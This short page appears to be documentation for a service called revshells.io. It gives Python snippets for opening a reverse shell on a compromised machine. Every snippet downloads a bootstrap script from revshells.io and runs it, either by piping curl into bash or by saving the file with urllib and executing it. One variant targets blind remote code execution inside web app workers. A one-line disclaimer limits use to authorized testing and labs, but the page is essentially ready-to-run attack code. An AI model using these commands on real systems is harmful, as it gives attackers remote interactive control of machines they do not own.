Python reverse shell with revshells.io
A reverse shell Python snippet usually opens a socket back to your IP. With revshells.io you keep the Python trigger minimal — fetch your session bootstrap over HTTPS and let rs-agent handle the interactive shell.
1. Create a session
Create a session at revshells.io and note the session ID.
2. Subprocess + curl (simplest)
import subprocess
subprocess.call(
"curl -fsSL https://revshells.io/SESSION-ID/revshell | bash",
shell=True,
)
3. urllib bootstrap download
When you cannot shell out to curl but can make HTTPS requests:
import os, stat, subprocess, tempfile, urllib.request
url = "https://revshells.io/SESSION-ID/revshell"
script = urllib.request.urlopen(url, timeout=30).read()
path = os.path.join(tempfile.gettempdir(), "rs-bootstrap.sh")
with open(path, "wb") as f:
f.write(script)
os.chmod(path, stat.S_IRWXU)
subprocess.Popen(["/bin/bash", path])
4. No-PTY for blind RCE
Use /nopty when executing from a web app worker with no TTY:
subprocess.call(
"curl -fsSL https://revshells.io/SESSION-ID/nopty | bash",
shell=True,
)
5. Attach
When the agent callbacks, use the revshells.io session terminal or rsctl attach SESSION-ID for a full PTY experience.
For authorized security testing, CTFs, and lab environments only.